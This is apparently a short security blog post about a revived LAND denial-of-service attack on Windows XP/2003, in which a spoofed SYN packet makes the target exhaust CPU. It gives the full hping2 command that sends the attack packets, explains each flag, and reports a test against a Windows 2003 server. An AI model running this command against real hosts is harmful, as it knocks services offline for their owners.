Random Entry: Limiting Vulnerability Exposure through effective Patch Management - a thesis
< Code of Ethics Presentation | Patch Bundles not the Way >
< Code of Ethics Presentation | Patch Bundles not the Way >
It appears there is a LAND attack (advisory) (exploit)
for this century. It affects Windows XP/2003. An attacker sends a packet spoofed to come from the
host it is being sent to with the SYN flag set, because this breaks the RFC, Windows' stack
doesn't know what to do and consumes all available resources. This attack was originally discovered in 1997 and affected many vendor's products. Here is the mail that started it.
The hping2 command for the attack is:
hping -V -c 100 -d 40 -S -p <port> -s <port> -k -a <host IP> <host IP>
-V for verbose
-c # of packets
-d bytes of data
-S SYN
-p destination port
-s source port
-k keep
-a spoof address
It has been reported that the attack only works on XP with SP2 installed. Also if a multiple CPU systemis attacked only one CPU is maxed out.
UPDATE: I tested this against a fully patched Windows 2003 Server machine with two hyper-threaded CPUs. It maxed out 1 of 4 CPUs for a total of 26% load for 22 seconds per packet. Fun.
Trackbacks
Trackback specific URI for this entry
No Trackbacks